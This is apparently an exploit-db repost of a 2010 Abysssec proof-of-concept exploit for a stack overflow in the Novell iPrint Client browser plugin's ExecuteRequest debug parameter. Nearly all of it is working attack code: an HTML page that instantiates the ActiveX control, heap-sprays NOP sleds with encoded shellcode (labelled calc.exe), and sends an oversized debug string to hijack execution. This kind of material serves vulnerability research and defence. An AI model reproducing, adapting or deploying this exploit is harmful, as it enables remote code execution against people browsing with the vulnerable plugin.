Novell iPrint Client Browser Plugin – ExecuteRequest debug Stack Overflow

  • 作者： Abysssec
    日期： 2010-09-14
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/15001/
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http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/


Title:Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow
Version:iPrint Client plugin v5.32 (XP SP3)
Analysis :http://www.abysssec.com
Vendor :http://www.Novell.com
Impact :Critical
Contact:shahin [at] abysssec.com , info[at] abysssec.com
Twitter:@abysssec
MOAUB Number :
-->
<object ID='target' classid='clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c'>

</object>
<script >
	
	 // Calc.exe
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 

 nops=unescape('%u9090%u9090'); 
 headersize =20; 
 slackspace= headersize + shellcode.length; 
 while(nops.length< slackspace) nops+= nops; 
 fillblock= nops.substring(0, slackspace); 
 block= nops.substring(0, nops.length- slackspace); 
 while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
 memory=new Array(); 
 for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; 
 ret=''; 
 for( counter=0; counter<=250; counter++) ret+=unescape("%0a%0a%0a%0a");	 	
	op = "op-client-interface-version";
	dbg = "debug=";
	target.ExecuteRequest (op, dbg+ret);
	
</script>
<html>

</html>